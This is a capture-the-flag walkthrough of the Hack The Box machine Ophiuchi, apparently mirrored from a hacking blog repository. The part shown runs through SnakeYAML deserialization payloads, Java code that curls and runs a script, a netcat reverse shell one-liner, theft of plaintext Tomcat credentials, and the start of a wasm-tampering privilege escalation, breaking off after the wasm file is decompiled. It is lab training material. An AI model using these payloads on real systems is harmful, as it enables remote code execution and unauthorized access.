mirror of
http://git.nowherejezfoltodf4jiyl6r56jnzintap5vyjlia7fkirfsnfizflqd.onion/nihilist/hacking-blogposts.git
synced 2025-05-16 12:27:02 +00:00
735 lines
28 KiB
Markdown
735 lines
28 KiB
Markdown
# Ophiuchi Writeup
|
|
|
|

|
|
|
|
## Introduction :
|
|
|
|
Ophiuchi is a Medium Linux box released back in Febuary 2021.
|
|
|
|
## **Part 1 : Initial Enumeration**
|
|
|
|
As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions.
|
|
|
|
|
|
[ 10.10.14.8/23 ] [ /dev/pts/12 ] [~/HTB/Tenet]
|
|
→ nmap -vvv -p- 10.10.10.227 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered
|
|
Discovered open port 8080/tcp on 10.10.10.227
|
|
Discovered open port 22/tcp on 10.10.10.227
|
|
|
|
|
|
[ 10.10.14.8/23 ] [ /dev/pts/12 ] [~/HTB/Tenet]
|
|
→ nmap -sCV -p 22,8080 10.10.10.227
|
|
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-05 15:12 CEST
|
|
Nmap scan report for 10.10.10.227
|
|
Host is up (0.48s latency).
|
|
|
|
PORT STATE SERVICE VERSION
|
|
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
|
|
| ssh-hostkey:
|
|
| 3072 6d:fc:68:e2:da:5e:80:df:bc:d0:45:f5:29:db:04:ee (RSA)
|
|
| 256 7a:c9:83:7e:13:cb:c3:f9:59:1e:53:21:ab:19:76:ab (ECDSA)
|
|
|_ 256 17:6b:c3:a8:fc:5d:36:08:a1:40:89:d2:f4:0a:c6:46 (ED25519)
|
|
8080/tcp open http Apache Tomcat 9.0.38
|
|
|_http-open-proxy: Proxy might be redirecting requests
|
|
|_http-title: Parse YAML
|
|
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
|
|
|
|
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
|
|
Nmap done: 1 IP address (1 host up) scanned in 28.74 seconds
|
|
|
|
|
|
|
|
## **Part 2 : Getting User Access**
|
|
|
|
Our nmap scan picked up Apache Tomcat running on port 8080 so let's investigate it:
|
|
|
|

|
|
|
|
So the webserver is apparently a YAML parser, similarly to the [Time](64.md) box, this is probably about deserialization, however unlike for the Time box, giving it random data does not necessarily reveal the backend that's being used. Rather we can simply base our assumption that it is running a java backend because we saw that we were on apache tomcat. So let's look for YAML java deserialization payload by googling a bit, and we stumble upon [this](https://swapneildash.medium.com/snakeyaml-deserilization-exploited-b4a2c5ac0858) article, so let's first verify that this webserver is vulnerable with the following payload:
|
|
|
|
|
|
!!javax.script.ScriptEngineManager [
|
|
!!java.net.URLClassLoader [[
|
|
!!java.net.URL ["http://10.10.14.8:9090"]
|
|
]]
|
|
]
|
|
|
|
|
|
` 
|
|
|
|
And it looks like the webserver is vulnerable to that deserialization! Now let's get another payload from [this](https://github.com/artsploit/yaml-payload) github repository, this time we need a YAML payload with the .jar extention:
|
|
|
|
|
|
[ 10.10.14.8/23 ] [ /dev/pts/12 ] [~/HTB/Ophiuchi]
|
|
→ git clone https://github.com/artsploit/yaml-payload
|
|
Cloning into 'yaml-payload'...
|
|
remote: Enumerating objects: 10, done.
|
|
remote: Total 10 (delta 0), reused 0 (delta 0), pack-reused 10
|
|
Receiving objects: 100% (10/10), done.
|
|
|
|
[ 10.10.14.8/23 ] [ /dev/pts/12 ] [~/HTB/Ophiuchi]
|
|
→ cd yaml-payload
|
|
|
|
|
|
|
|
Now before we get started, let's first prepare our payloads. We want the box to download a **shell.sh** file from our box which contains a reverse shell payload in it, we want the box to save it in **/tmp** and then we want the box to run it.
|
|
|
|
|
|
[ 10.10.14.8/23 ] [ /dev/pts/12 ] [HTB/Ophiuchi/yaml-payload]
|
|
→ vim shell.sh
|
|
|
|
[ 10.10.14.8/23 ] [ /dev/pts/12 ] [HTB/Ophiuchi/yaml-payload]
|
|
→ cat shell.sh
|
|
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.8 9001 >/tmp/f
|
|
|
|
|
|
Now we make the first payload to make the box download our shell.sh file:
|
|
|
|
|
|
[ 10.10.14.8/23 ] [ /dev/pts/12 ] [HTB/Ophiuchi/yaml-payload]
|
|
→ vim src/artsploit/AwesomeScriptEngineFactory.java
|
|
|
|
[ 10.10.14.8/23 ] [ /dev/pts/12 ] [HTB/Ophiuchi/yaml-payload]
|
|
→ cat src/artsploit/AwesomeScriptEngineFactory.java
|
|
package artsploit;
|
|
|
|
import javax.script.ScriptEngine;
|
|
import javax.script.ScriptEngineFactory;
|
|
import java.io.IOException;
|
|
import java.util.List;
|
|
|
|
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
|
|
|
|
public AwesomeScriptEngineFactory() {
|
|
try {
|
|
Runtime.getRuntime().exec("**curl http://10.10.14.8:9090/shell.sh -o /tmp/shell.sh** ");
|
|
} catch (IOException e) {
|
|
e.printStackTrace();
|
|
}
|
|
}
|
|
|
|
[...]
|
|
|
|
|
|
Once that's done we compile it:
|
|
|
|
|
|
[ 10.10.14.8/23 ] [ /dev/pts/12 ] [HTB/Ophiuchi/yaml-payload]
|
|
→ javac src/artsploit/AwesomeScriptEngineFactory.java
|
|
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
|
|
|
|
[ 10.10.14.8/23 ] [ /dev/pts/12 ] [HTB/Ophiuchi/yaml-payload]
|
|
→ jar -cvf yaml-payload1.jar -C src/ .
|
|
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
|
|
added manifest
|
|
adding: artsploit/(in = 0) (out= 0)(stored 0%)
|
|
adding: artsploit/AwesomeScriptEngineFactory.class(in = 1640) (out= 702)(deflated 57%)
|
|
adding: artsploit/AwesomeScriptEngineFactory.java(in = 1513) (out= 413)(deflated 72%)
|
|
ignoring entry META-INF/
|
|
adding: META-INF/services/(in = 0) (out= 0)(stored 0%)
|
|
adding: META-INF/services/javax.script.ScriptEngineFactory(in = 36) (out= 38)(deflated -5%)
|
|
|
|
[ 10.10.14.8/23 ] [ /dev/pts/12 ] [HTB/Ophiuchi/yaml-payload]
|
|
→ ls -l
|
|
total 16
|
|
-rw-r--r-- 1 nothing nothing 623 Jul 5 15:55 README.md
|
|
-rw-r--r-- 1 nothing nothing 78 Jul 5 16:44 shell.sh
|
|
drwxr-xr-x 4 nothing nothing 4096 Jul 5 15:55 src
|
|
-rw-r--r-- 1 nothing nothing 2231 Jul 5 18:32 yaml-payload1.jar
|
|
|
|
[ 10.10.14.8/23 ] [ /dev/pts/12 ] [HTB/Ophiuchi/yaml-payload]
|
|
→ python3 -m http.server 9090
|
|
Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...
|
|
|
|
|
|
|
|
Now that's ready, let's make the box get our jar file at the url **http://10.10.14.8:9090/yaml-payload1.jar** using the following payload:
|
|
|
|
|
|
[firefox session]
|
|
!!javax.script.ScriptEngineManager [
|
|
!!java.net.URLClassLoader [[
|
|
!!java.net.URL ["http://10.10.14.8:9090/yaml-payload1.jar"]
|
|
]]
|
|
]
|
|
|
|
[terminal 1]
|
|
[ 10.10.14.8/23 ] [ /dev/pts/12 ] [HTB/Ophiuchi/yaml-payload]
|
|
→ python3 -m http.server 9090
|
|
Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...
|
|
10.10.10.227 - - [05/Jul/2021 18:41:16] "GET /yaml-payload1.jar HTTP/1.1" 200 -
|
|
10.10.10.227 - - [05/Jul/2021 18:41:16] "GET /yaml-payload1.jar HTTP/1.1" 200 -
|
|
|
|
|
|
|
|
Now we know it downloaded our .jar file, however it didn't download our shell.sh file, looking at the error that occured we see why:
|
|
|
|

|
|
|
|
|
|
Root Cause
|
|
|
|
java.lang.UnsupportedClassVersionError: artsploit/AwesomeScriptEngineFactory has been compiled by a more recent version of the Java Runtime (class file version 61.0), this version of the Java Runtime only recognizes class file versions up to 55.0
|
|
|
|
|
|
|
|
If you get this problem, purge out the version of java you're using and get JDK 11:
|
|
|
|
|
|
[ 10.10.14.8/23 ] [ /dev/pts/17 ] [HTB/Ophiuchi/yaml-payload]
|
|
→ sudo apt remove openjdk-17-jdk
|
|
|
|
[ 10.10.14.8/23 ] [ /dev/pts/17 ] [HTB/Ophiuchi/yaml-payload]
|
|
→ sudo apt autoremove -y
|
|
|
|
[ 10.10.14.8/23 ] [ /dev/pts/17 ] [HTB/Ophiuchi/yaml-payload]
|
|
→ sudo apt install openjdk-11-jdk
|
|
|
|
[ 10.10.14.8/23 ] [ /dev/pts/17 ] [HTB/Ophiuchi/yaml-payload]
|
|
→ javac -version
|
|
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
|
|
javac 11.0.11
|
|
|
|
|
|
|
|
Now that's done we repeat the previous steps:
|
|
|
|
|
|
[ 10.10.14.8/23 ] [ /dev/pts/17 ] [HTB/Ophiuchi/yaml-payload]
|
|
→ javac src/artsploit/AwesomeScriptEngineFactory.java
|
|
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
|
|
|
|
[ 10.10.14.8/23 ] [ /dev/pts/17 ] [HTB/Ophiuchi/yaml-payload]
|
|
→ jar -cvf yaml-payload1.jar -C src/ .
|
|
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
|
|
added manifest
|
|
adding: artsploit/(in = 0) (out= 0)(stored 0%)
|
|
adding: artsploit/AwesomeScriptEngineFactory.class(in = 1640) (out= 694)(deflated 57%)
|
|
adding: artsploit/AwesomeScriptEngineFactory.java(in = 1513) (out= 413)(deflated 72%)
|
|
ignoring entry META-INF/
|
|
adding: META-INF/services/(in = 0) (out= 0)(stored 0%)
|
|
adding: META-INF/services/javax.script.ScriptEngineFactory(in = 36) (out= 38)(deflated -5%)
|
|
|
|
[ 10.10.14.8/23 ] [ /dev/pts/17 ] [HTB/Ophiuchi/yaml-payload]
|
|
→ ls -l
|
|
total 16
|
|
-rw-r--r-- 1 nothing nothing 623 Jul 5 15:55 README.md
|
|
-rw-r--r-- 1 nothing nothing 78 Jul 5 16:44 shell.sh
|
|
drwxr-xr-x 4 nothing nothing 4096 Jul 5 15:55 src
|
|
-rw-r--r-- 1 nothing nothing 2223 Jul 5 19:45 yaml-payload1.jar
|
|
|
|
|
|
|
|
We run the previous java YAML deserialization payload in firefox, and we see the following:
|
|
|
|
|
|
[ 10.10.14.8/23 ] [ /dev/pts/12 ] [HTB/Ophiuchi/yaml-payload]
|
|
→ python3 -m http.server 9090
|
|
Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...
|
|
10.10.10.227 - - [05/Jul/2021 19:47:29] "GET /yaml-payload1.jar HTTP/1.1" 200 -
|
|
10.10.10.227 - - [05/Jul/2021 19:47:30] "GET /yaml-payload1.jar HTTP/1.1" 200 -
|
|
10.10.10.227 - - [05/Jul/2021 19:47:31] "GET /shell.sh HTTP/1.1" 200 -
|
|
|
|
|
|
Here we see a better result, the shell.sh file actually got downloaded, so now from here we make a second payload to execute that shell.sh file:
|
|
|
|
|
|
[ 10.10.14.8/23 ] [ /dev/pts/17 ] [HTB/Ophiuchi/yaml-payload]
|
|
→ vim src/artsploit/AwesomeScriptEngineFactory.java
|
|
|
|
[ 10.10.14.8/23 ] [ /dev/pts/17 ] [HTB/Ophiuchi/yaml-payload]
|
|
→ cat src/artsploit/AwesomeScriptEngineFactory.java
|
|
package artsploit;
|
|
|
|
import javax.script.ScriptEngine;
|
|
import javax.script.ScriptEngineFactory;
|
|
import java.io.IOException;
|
|
import java.util.List;
|
|
|
|
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
|
|
|
|
public AwesomeScriptEngineFactory() {
|
|
try {
|
|
Runtime.getRuntime().exec("bash /tmp/shell.sh");
|
|
} catch (IOException e) {
|
|
e.printStackTrace();
|
|
}
|
|
}
|
|
|
|
[ 10.10.14.8/23 ] [ /dev/pts/17 ] [HTB/Ophiuchi/yaml-payload]
|
|
→ javac src/artsploit/AwesomeScriptEngineFactory.java
|
|
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
|
|
|
|
[ 10.10.14.8/23 ] [ /dev/pts/17 ] [HTB/Ophiuchi/yaml-payload]
|
|
→ jar -cvf yaml-payload2.jar -C src/ .
|
|
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
|
|
added manifest
|
|
adding: artsploit/(in = 0) (out= 0)(stored 0%)
|
|
adding: artsploit/AwesomeScriptEngineFactory.class(in = 1605) (out= 666)(deflated 58%)
|
|
adding: artsploit/AwesomeScriptEngineFactory.java(in = 1478) (out= 388)(deflated 73%)
|
|
ignoring entry META-INF/
|
|
adding: META-INF/services/(in = 0) (out= 0)(stored 0%)
|
|
adding: META-INF/services/javax.script.ScriptEngineFactory(in = 36) (out= 38)(deflated -5%)
|
|
|
|
[ 10.10.14.8/23 ] [ /dev/pts/17 ] [HTB/Ophiuchi/yaml-payload]
|
|
→ ls -l
|
|
total 20
|
|
-rw-r--r-- 1 nothing nothing 623 Jul 5 15:55 README.md
|
|
-rw-r--r-- 1 nothing nothing 78 Jul 5 16:44 shell.sh
|
|
drwxr-xr-x 4 nothing nothing 4096 Jul 5 15:55 src
|
|
-rw-r--r-- 1 nothing nothing 2223 Jul 5 19:45 yaml-payload1.jar
|
|
-rw-r--r-- 1 nothing nothing 2170 Jul 5 19:57 yaml-payload2.jar
|
|
|
|
|
|
|
|
Now we use the following payload on the yaml parser:
|
|
|
|
|
|
!!javax.script.ScriptEngineManager [
|
|
!!java.net.URLClassLoader [[
|
|
!!java.net.URL ["http://10.10.14.8:9090/yaml-payload2.jar"]
|
|
]]
|
|
]
|
|
|
|
|
|
|
|
And we see the following result:
|
|
|
|
|
|
[terminal 1]
|
|
[ 10.10.14.8/23 ] [ /dev/pts/12 ] [HTB/Ophiuchi/yaml-payload]
|
|
→ python3 -m http.server 9090
|
|
Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...
|
|
10.10.10.227 - - [05/Jul/2021 20:00:00] "GET /yaml-payload2.jar HTTP/1.1" 200 -
|
|
10.10.10.227 - - [05/Jul/2021 20:00:01] "GET /yaml-payload2.jar HTTP/1.1" 200 -
|
|
|
|
[terminal 2]
|
|
[ 10.10.14.8/23 ] [ /dev/pts/14 ] [HTB/Ophiuchi/yaml-payload]
|
|
→ nc -lvnp 9001
|
|
listening on [any] 9001 ...
|
|
connect to [10.10.14.8] from (UNKNOWN) [10.10.10.227] 44856
|
|
/bin/sh: 0: can't access tty; job control turned off
|
|
$ id
|
|
uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)
|
|
|
|
|
|
|
|
Now that we got a reverse shell, upgrade it to a fully interactive TTY:
|
|
|
|
|
|
$ which python python3 wget curl bash
|
|
/usr/bin/python3
|
|
/usr/bin/wget
|
|
/usr/bin/curl
|
|
/usr/bin/bash
|
|
$ python3 -c 'import pty;pty.spawn("/usr/bin/bash")'
|
|
tomcat@ophiuchi:/$ ^Z
|
|
[1] + 573820 suspended nc -lvnp 9001
|
|
|
|
[ 10.10.14.8/23 ] [ /dev/pts/14 ] [HTB/Ophiuchi/yaml-payload]
|
|
→ stty raw -echo ; fg
|
|
[1] + 573820 continued nc -lvnp 9001
|
|
export TERM=screen-256color
|
|
tomcat@ophiuchi:/$ export SHELL=bash
|
|
tomcat@ophiuchi:/$ stty rows 50 cols 200
|
|
tomcat@ophiuchi:/$ reset
|
|
|
|
|
|
|
|
Now since this is a tomcat service let's see if there are any plaintext credentials in the config files:
|
|
|
|
|
|
tomcat@ophiuchi:/$ cd ~
|
|
|
|
tomcat@ophiuchi:~$ ls
|
|
bin BUILDING.txt conf CONTRIBUTING.md lib LICENSE logs NOTICE README.md RELEASE-NOTES RUNNING.txt temp webapps work
|
|
|
|
tomcat@ophiuchi:~$ cd conf
|
|
|
|
tomcat@ophiuchi:~/conf$ ls
|
|
catalina.policy catalina.properties context.xml jaspic-providers.xml jaspic-providers.xsd logging.properties server.xml tomcat-users.xml tomcat-users.xsd web.xml
|
|
|
|
tomcat@ophiuchi:~/conf$ cat tomcat-users.xml
|
|
|
|
[...]
|
|
|
|
tomcat-users xmlns="http://tomcat.apache.org/xml"
|
|
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
|
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
|
|
version="1.0">
|
|
user username="admin" password="whythereisalimit" roles="manager-gui,admin-gui"/>
|
|
|
|
/tomcat-users>
|
|
|
|
[...]
|
|
|
|
|
|
|
|
And here we have credentials **admin:whythereisalimit**! So let's
|
|
|
|
|
|
[ 10.10.14.8/23 ] [ /dev/pts/17 ] [HTB/Ophiuchi/yaml-payload]
|
|
→ ssh admin@10.10.10.227
|
|
The authenticity of host '10.10.10.227 (10.10.10.227)' can't be established.
|
|
ECDSA key fingerprint is SHA256:OmZ+JsRqDVNaBWMshp7wogZM0KhSKkp1YmaILhRxSY0.
|
|
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
|
|
Warning: Permanently added '10.10.10.227' (ECDSA) to the list of known hosts.
|
|
admin@10.10.10.227's password:
|
|
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-51-generic x86_64)
|
|
|
|
* Documentation: https://help.ubuntu.com
|
|
* Management: https://landscape.canonical.com
|
|
* Support: https://ubuntu.com/advantage
|
|
|
|
System information as of Mon 05 Jul 2021 06:20:18 PM UTC
|
|
|
|
System load: 0.08
|
|
Usage of /: 19.9% of 27.43GB
|
|
Memory usage: 10%
|
|
Swap usage: 0%
|
|
Processes: 222
|
|
Users logged in: 0
|
|
IPv4 address for ens160: 10.10.10.227
|
|
IPv6 address for ens160: dead:beef::250:56ff:feb9:83
|
|
|
|
|
|
176 updates can be installed immediately.
|
|
56 of these updates are security updates.
|
|
To see these additional updates run: apt list --upgradable
|
|
|
|
|
|
The list of available updates is more than a week old.
|
|
To check for new updates run: sudo apt update
|
|
|
|
Last login: Mon Jan 11 08:23:12 2021 from 10.10.14.2
|
|
admin@ophiuchi:~$ id
|
|
uid=1000(admin) gid=1000(admin) groups=1000(admin)
|
|
admin@ophiuchi:~$ cat user.txt
|
|
ebXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
|
|
|
|
|
|
|
|
And we got the user flag!
|
|
|
|
## **Part 3 : Getting Root Access**
|
|
|
|
Now in order to privesc to the root user, we need to take a look at what the current user can run as root:
|
|
|
|
|
|
admin@ophiuchi:~$ sudo -l
|
|
Matching Defaults entries for admin on ophiuchi:
|
|
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
|
|
|
|
User admin may run the following commands on ophiuchi:
|
|
(ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go
|
|
|
|
admin@ophiuchi:~$ ls -lash /opt/wasm-functions/index
|
|
2.5M -rwxr-xr-x 1 root root 2.5M Oct 14 2020 /opt/wasm-functions/index
|
|
|
|
admin@ophiuchi:~$ ls -lash /opt/wasm-functions/index.go
|
|
4.0K -rw-rw-r-- 1 root root 522 Oct 14 2020 /opt/wasm-functions/index.go
|
|
|
|
|
|
|
|
So here we can run a go file called **index.go** in the **/opt/wasm-functions/** directory as the root user. let's take a look at what it does:
|
|
|
|
|
|
admin@ophiuchi:~$ cat /opt/wasm-functions/index.go
|
|
package main
|
|
|
|
import (
|
|
"fmt"
|
|
wasm "github.com/wasmerio/wasmer-go/wasmer"
|
|
"os/exec"
|
|
"log"
|
|
)
|
|
|
|
|
|
func main() {
|
|
bytes, _ := wasm.ReadBytes("main.wasm")
|
|
|
|
instance, _ := wasm.NewInstance(bytes)
|
|
defer instance.Close()
|
|
init := instance.Exports["info"]
|
|
result,_ := init()
|
|
f := result.String()
|
|
if (f != "1") {
|
|
fmt.Println("Not ready to deploy")
|
|
} else {
|
|
fmt.Println("Ready to deploy")
|
|
out, err := exec.Command("/bin/sh", "deploy.sh").Output()
|
|
if err != nil {
|
|
log.Fatal(err)
|
|
}
|
|
fmt.Println(string(out))
|
|
}
|
|
}
|
|
|
|
|
|
|
|
When we run it we get the following:
|
|
|
|
|
|
|
|
admin@ophiuchi:/tmp$ /usr/bin/go run /opt/wasm-functions/index.go
|
|
/opt/wasm-functions/index.go:5:2: cannot find package "github.com/wasmerio/wasmer-go/wasmer" in any of:
|
|
/usr/lib/go-1.13/src/github.com/wasmerio/wasmer-go/wasmer (from $GOROOT)
|
|
/home/admin/go/src/github.com/wasmerio/wasmer-go/wasmer (from $GOPATH)
|
|
|
|
admin@ophiuchi:/tmp$ sudo /usr/bin/go run /opt/wasm-functions/index.go
|
|
panic: runtime error: index out of range [0] with length 0
|
|
|
|
goroutine 1 [running]:
|
|
github.com/wasmerio/wasmer-go/wasmer.NewInstanceWithImports.func1(0x0, 0x0, 0xc000040c90, 0x5d1200, 0x200000003)
|
|
/root/go/src/github.com/wasmerio/wasmer-go/wasmer/instance.go:94 +0x201
|
|
github.com/wasmerio/wasmer-go/wasmer.newInstanceWithImports(0xc000086020, 0xc000040d48, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xc000040d70)
|
|
/root/go/src/github.com/wasmerio/wasmer-go/wasmer/instance.go:137 +0x1d3
|
|
github.com/wasmerio/wasmer-go/wasmer.NewInstanceWithImports(0x0, 0x0, 0x0, 0xc000086020, 0x0, 0x0, 0x0, 0x0, 0x0, 0x4e6180, ...)
|
|
/root/go/src/github.com/wasmerio/wasmer-go/wasmer/instance.go:87 +0xa6
|
|
github.com/wasmerio/wasmer-go/wasmer.NewInstance(0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x4e6180, 0x1)
|
|
/root/go/src/github.com/wasmerio/wasmer-go/wasmer/instance.go:82 +0xc9
|
|
main.main()
|
|
/opt/wasm-functions/index.go:14 +0x6d
|
|
exit status 2
|
|
|
|
admin@ophiuchi:/tmp$ cd /opt/wasm-functions/
|
|
admin@ophiuchi:/opt/wasm-functions$ sudo /usr/bin/go run /opt/wasm-functions/index.go
|
|
Not ready to deploy
|
|
|
|
admin@ophiuchi:/opt/wasm-functions$ cd backup/
|
|
admin@ophiuchi:/opt/wasm-functions/backup$ sudo /usr/bin/go run /opt/wasm-functions/index.go
|
|
Not ready to deploy
|
|
|
|
|
|
|
|
So basically, when we look back at the index.go file, we see that it reads the **main.wasm** file in the current directory, and then it checks if the **f** variable is not equal to **1** to say 'not ready to deploy' However if that f variable were actually equal to 1, it would execute the **deploy.sh** file in the current directory. So we basically we need to modify that main.wasm file to set that f variable to 1, and then we're going to use our shell.sh file and rename it deploy.sh to get a reverse shell. So let's first get the main.wasm to our local machine using netcat:
|
|
|
|
|
|
[terminal 1]
|
|
admin@ophiuchi:/opt/wasm-functions$ ls -lash main.wasm
|
|
1.5M -rwxrwxr-x 1 root root 1.5M Oct 14 2020 main.wasm
|
|
admin@ophiuchi:/opt/wasm-functions$ cat main.wasm | nc 10.10.14.8 9001
|
|
admin@ophiuchi:/opt/wasm-functions$ md5sum main.wasm
|
|
25a1a35c819577d06c8cc751bf9a2ea3 main.wasm
|
|
|
|
[terminal 2]
|
|
[ 10.10.14.8/23 ] [ /dev/pts/12 ] [HTB/Ophiuchi/privesc]
|
|
→ nc -lvnp 9001 > main.wasm
|
|
listening on [any] 9001 ...
|
|
connect to [10.10.14.8] from (UNKNOWN) [10.10.10.227] 46088
|
|
^C
|
|
|
|
[ 10.10.14.8/23 ] [ /dev/pts/12 ] [HTB/Ophiuchi/privesc]
|
|
→ md5sum main.wasm
|
|
25a1a35c819577d06c8cc751bf9a2ea3 main.wasm
|
|
|
|
|
|
|
|
Now that we downloaded the file locally we need to 'decrypt it', because as you probably guessed it, this is a binary/compiled file:
|
|
|
|
|
|
[ 10.10.14.8/23 ] [ /dev/pts/12 ] [HTB/Ophiuchi/privesc]
|
|
→ cat main.wasm | xxd | head -n20
|
|
00000000: 0061 736d 0100 0000 0105 0160 0001 7f03 .asm.......`....
|
|
00000010: 0201 0004 0501 7001 0101 0503 0100 1006 ......p.........
|
|
00000020: 1903 7f01 4180 80c0 000b 7f00 4180 80c0 ....A.......A...
|
|
00000030: 000b 7f00 4180 80c0 000b 072c 0406 6d65 ....A......,..me
|
|
00000040: 6d6f 7279 0200 0469 6e66 6f00 000a 5f5f mory...info...__
|
|
00000050: 6461 7461 5f65 6e64 0301 0b5f 5f68 6561 data_end...__hea
|
|
00000060: 705f 6261 7365 0302 0a06 0104 0041 000b p_base.......A..
|
|
00000070: 00d5 d016 0b2e 6465 6275 675f 696e 666f ......debug_info
|
|
00000080: f3a0 0200 0400 0000 0000 0401 0000 0000 ................
|
|
00000090: 1c00 3900 0000 0000 0000 5000 0000 0000 ..9.......P.....
|
|
000000a0: 0000 400a 0100 0281 0000 0002 8600 0000 ..@.............
|
|
000000b0: 028a 0000 0003 0000 0000 0d00 0000 07ed ................
|
|
000000c0: 0300 0000 009f 463e 0300 8c3e 0300 016d ......F>...>...m
|
|
000000d0: 0300 0000 000c 0000 0007 ed03 0000 0000 ................
|
|
000000e0: 9fcc 3e03 0012 3f03 0001 6d03 0000 0000 ..>...?...m.....
|
|
000000f0: 0d00 0000 07ed 0300 0000 009f 313f 0300 ............1?..
|
|
00000100: 773f 0300 016d 0300 0000 000d 0000 0007 w?...m..........
|
|
00000110: ed03 0000 0000 9f85 3f03 00cb 3f03 0001 ........?...?...
|
|
00000120: 6d04 3522 0300 7122 0300 01a3 0104 7a22 m.5"..q"......z"
|
|
00000130: 0300 c122 0300 01c3 0105 d422 0300 c122 ..."......."..."
|
|
|
|
|
|
|
|
To decrypt it we're going to use [wabt](https://github.com/WebAssembly/wabt/releases):
|
|
|
|
|
|
[ 10.10.14.8/23 ] [ /dev/pts/12 ] [HTB/Ophiuchi/privesc]
|
|
→ mv ~/Downloads/wabt-1.0.23-ubuntu.tar.gz .
|
|
|
|
[ 10.10.14.8/23 ] [ /dev/pts/12 ] [HTB/Ophiuchi/privesc]
|
|
→ tar -xzvf wabt-1.0.23-ubuntu.tar.gz
|
|
wabt-1.0.23/
|
|
wabt-1.0.23/include/
|
|
wabt-1.0.23/include/wasm-rt.h
|
|
wabt-1.0.23/include/wasm-rt-impl.h
|
|
wabt-1.0.23/share/
|
|
wabt-1.0.23/share/man/
|
|
wabt-1.0.23/share/man/man1/
|
|
wabt-1.0.23/share/man/man1/wasm-decompile.1
|
|
wabt-1.0.23/share/man/man1/wasm-validate.1
|
|
wabt-1.0.23/share/man/man1/wasm-strip.1
|
|
wabt-1.0.23/share/man/man1/wasm2wat.1
|
|
wabt-1.0.23/share/man/man1/spectest-interp.1
|
|
wabt-1.0.23/share/man/man1/wasm-interp.1
|
|
wabt-1.0.23/share/man/man1/wat2wasm.1
|
|
wabt-1.0.23/share/man/man1/wat-desugar.1
|
|
wabt-1.0.23/share/man/man1/wasm2c.1
|
|
wabt-1.0.23/share/man/man1/wasm-objdump.1
|
|
wabt-1.0.23/share/man/man1/wast2json.1
|
|
wabt-1.0.23/share/man/man1/wasm-opcodecnt.1
|
|
wabt-1.0.23/lib/
|
|
wabt-1.0.23/lib/libwasm-rt-impl.a
|
|
wabt-1.0.23/bin/
|
|
wabt-1.0.23/bin/wasm2wat
|
|
wabt-1.0.23/bin/wat-desugar
|
|
wabt-1.0.23/bin/wasm-strip
|
|
wabt-1.0.23/bin/wasm-validate
|
|
wabt-1.0.23/bin/spectest-interp
|
|
wabt-1.0.23/bin/wast2json
|
|
wabt-1.0.23/bin/wasm2c
|
|
wabt-1.0.23/bin/wasm-decompile
|
|
wabt-1.0.23/bin/wasm-objdump
|
|
wabt-1.0.23/bin/wat2wasm
|
|
wabt-1.0.23/bin/wasm-interp
|
|
wabt-1.0.23/bin/wasm-opcodecnt
|
|
|
|
[ 10.10.14.8/23 ] [ /dev/pts/12 ] [HTB/Ophiuchi/privesc]
|
|
→ cd wabt-1.0.23/bin
|
|
|
|
[ 10.10.14.8/23 ] [ /dev/pts/12 ] [privesc/wabt-1.0.23/bin]
|
|
→ ls
|
|
spectest-interp wasm2c wasm2wat wasm-decompile wasm-interp wasm-objdump wasm-opcodecnt wasm-strip wasm-validate wast2json wat2wasm wat-desugar
|
|
|
|
[ 10.10.14.8/23 ] [ /dev/pts/12 ] [privesc/wabt-1.0.23/bin]
|
|
→ ls -l | grep wasm | grep wat
|
|
-rwxr-xr-x 1 nothing nothing 1309784 Mar 24 22:26 wasm2wat
|
|
-rwxr-xr-x 1 nothing nothing 1541016 Mar 24 22:26 wat2wasm
|
|
|
|
|
|
|
|
so here the binary files we're going to use are **wasm2wat** and **wat2wasm** :
|
|
|
|
|
|
[ 10.10.14.8/23 ] [ /dev/pts/12 ] [privesc/wabt-1.0.23/bin]
|
|
→ ./wasm2wat ../../main.wasm
|
|
(module
|
|
(type (;0;) (func (result i32)))
|
|
(func $info (type 0) (result i32)
|
|
i32.const 0)
|
|
(table (;0;) 1 1 funcref)
|
|
(memory (;0;) 16)
|
|
(global (;0;) (mut i32) (i32.const 1048576))
|
|
(global (;1;) i32 (i32.const 1048576))
|
|
(global (;2;) i32 (i32.const 1048576))
|
|
(export "memory" (memory 0))
|
|
(export "info" (func $info))
|
|
(export "__data_end" (global 1))
|
|
(export "__heap_base" (global 2)))
|
|
|
|
|
|
|
|
